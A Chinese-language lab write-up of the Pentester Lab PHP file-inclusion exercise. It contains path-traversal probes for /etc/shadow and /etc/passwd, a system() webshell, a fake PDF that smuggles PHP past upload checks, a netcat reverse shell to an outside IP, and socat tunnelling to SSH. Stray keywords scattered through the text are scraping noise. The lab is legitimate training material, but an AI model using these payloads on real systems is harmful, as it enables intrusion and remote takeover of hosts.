[Pentester Lab]PHP Include And Post Exploitation

本文是Pentester Lab上的PHP Include And Post Exploitation实验。实验中使用了靶机(提供的ISO),以及一台云主机(用于实现反向shell)。php

1、简介

大体步骤以下:
1. 指纹识别
2. 检测和利用PHP文件包含漏洞
3. 后期利用mysql

2、指纹识别

  1. telnet, nc, …
  2. Nikto

3、检测并利用PHP文件包含漏洞

3.1 PHP文件包含漏洞简介

  1. 典型的PHP文件包含漏洞
<?php
    include("header.php");
    include($_GET["page"]);
?>
  1. 有两种PHP文件包含漏洞
    • 本地文件包含漏洞
    • 远程文件包含漏洞

3.2 检测PHP文件包含漏洞

  1. 最简单的测试方法是使用会产生错误的路径。
  2. 先尝试一个不存在的文件:web

    • http://phpinclude/index.php?page=pentesterlab123randomvalue
    • 产生如下错误信息sql

      Warning: include(pentesterlab123randomvalue.php): failed to open stream: No such file or directory in /var/www/index.php on line 28
      
      Warning: include(): Failed opening 'pentesterlab123randomvalue.php' for inclusion (include_path='.:') in /var/www/index.php on line 28 
    • 其中Failed opening 'pentesterlab123randomvalue.php' for inclusion泄露了重要的信息:Server的PHP代码会添加.php后缀。shell

  3. 可使用NULL比特(%00)来摆脱.php后缀。
  4. Web Server的用户极可能没有访问/etc/shadow的权限,因此若是访问/etc/shadow就会产生错误。使用下面的URL:

    http://phpinclude/index.php?page=../../../../../etc/shadow%00

    能够获得错误信息:

    Warning: include(/etc/shadow): failed to open stream: Permission denied in /var/www/index.php on line 28 Warning: include(): Failed opening '../../../../../etc/shadow' for inclusion (include_path='.:') in /var/www/index.php on line 28
  5. 4中的方法访问/etc/passwd,能够获得该文件内容:

    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash
  6. 使用page[]=login会产生下面的错误:apache

    Warning: include(Array.php): failed to open stream: No such file or directory in /var/www/index.php on line 28 
    Warning: include(): Failed opening 'Array.php' for inclusion (include_path='.:') in /var/www/index.php on line 28
  7. 使用classes/../login./loginlogin匹配同名的文件。ruby

    • classes/../login若是classes库不存在,Windows和Linux/Unix的处理是不一样的。
  8. 测试远程文件包含须要知足两个条件:
    • PHP设置容许远程文件包含
    • Web Server能够访问远程Server
  9. 使用http://vulnerable/index.php?page=http://www.google.com/?测试远程文件包含,发现PHP设置禁止远程文件包含。

4、利用PHP本地文件包含漏洞

同SQL注入(盲注和非盲注)同样,能够先尝试远程文件包含漏洞,若是不行,再尝试本地文件包含漏洞。bash

  1. 远程文件包含漏洞的利用
    • 须要设置一个远程的Web Server来提供PHP代码,PHP代码能够是简单的webshell:
      php
      <?php
      system($_GET["cmd"]);
      ?>
  2. 本地文件包含漏洞的利用服务器

    • 有不少种方法,但共同点是:
      • 将PHP代码放入系统的文件中
      • include代码
    • 可使用的方法以下:
      • 将PHP代码注入到日志中:经过Web服务器访问指定的URL(该路径包含PHP代码),并include服务器日志。
      • 将PHP代码注入到邮件:发送一封邮件,而后include这封邮件(/var/spool/mail)。
      • 上传并include一个文件:例如,能够上传一张图片,将PHP代码放在图片的comment section(这样在文件尺寸被修改时,代码不会被修改)。
      • 使用其余服务将PHP代码上传:FTP,NFS等。

        不是万不得已,不要注入日志。若是第一次尝试的时候,没有使用正确的PHP语法(正确的PHP代码和正确的HTTP编码),那么就必须等待日志滚动,才能进行下一次尝试。dom

    • 为了测试上传功能,须要确认:
      • 哪些后缀名能够上传
        • 将PDF重命名为php文件
      • 什么类型的内容能够上传
        • 将txt文件改成pdf后缀
    • 若是Server既检查后缀名,又检查文件类型,那么咱们须要一个真正的PDF文档,其中包含有PHP代码。有两种方法:
      • 任意的PDF文档,加入PHP payload
        • 某些字符在include时不能被很好地支持
      • 使用一个相似于PDF的PHP文件,能够经过内容类型的检查
        • 这种方法较为可靠
    • 验证伪造的PHP文件是否能经过文件内容类型检验

      • 使用head命令查看PDF文件的第一行
      • PHP的mime_content_type函数,使用文件第一行%PDF-1.4来肯定文件类型是否为PDF。
      • 制做伪造的PDF文件
        %PDF-1.4
        <?php
            system($_GET["cmd"]);
        php>
    • 上传伪造的php文件lfi.pdf

    • 命令执行:http://vulnerable/index.php?page=uploads/lfi.pdf%00&cmd=uname
      • 文件名的后面要加上NULL字节%00
      • cmd参数是将要执行的命令

4、Post-Exploitation

4.1 Introduction to Post-Exploitation

Webshell的每一条命令具备独立的上下文,因此难以使用cd ..的命令。为了绕过这种限制,须要获得一个**真正的**shell。

4.2 Shell与反向Shell

  1. 两种远程执行命令的方法:
    • Shell
    • 反向Shell
  2. 因为防火墙更多的是过滤入站流量,因此在目标主机绑定Shell不太可行,因此反向Shell是更好的选择。
  3. 使用反向shell,双方主机都要安装有netcat。
  4. 过程
    • 本机绑定nc到某端口:nc -lvp 2233
    • 目标主机使用webshell链接到本机
http://phpinclude/index.php?page=uploads/lfi.pdf%00&cmd=/bin/nc%20123.206.7.107%202233%20-e%20/bin/bash

4.3 使用socat进行TCP重定向

下一步的目标是有一个真正的shell(例如,支持Ctrl+C)。

  • 攻击者本地生成SSH密钥对
ssh-keygen -P "" -f phpinclude
  • 攻击者上传SSH公钥

    • 使用80端口的反向shell上传公钥。先获取用户名id和主目录:
      上传SSH公钥
  • 攻击者使用本地443端口接收来自目标主机的流量,并转发到本地2222端口

attacker $ sudo nohup socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr >> ~/socat.log 2>&1 &
  • 使用靶机的反向shell,链接到攻击者的443端口,并把流量转发到靶机本地的22端口。
phpinclude $ while true; do socat TCP4:XXX.XXX.XXX.XXX:443 TCP4:127.0.0.1:22 ; done
  • 使用ssh登陆到靶机~
    ssh登陆靶机

4.4 DNS隧道

【留待补充】

5、总结

这个练习展现了如何手工检测和利用一个PHP文件包含漏洞,进而执行代码。执行代码后,能够进一步获取更多信息,从而获得更多的系统访问权。

练习中的Web Server能够展现错误信息,这是一种理想状况。想要提升难度的话,能够更改PHP设置:在PHP设置(/etc/php5/apache2/php.ini)中禁用display_errors选项,并重启Web Server(sudo /etc/init.d/apache2 restart)。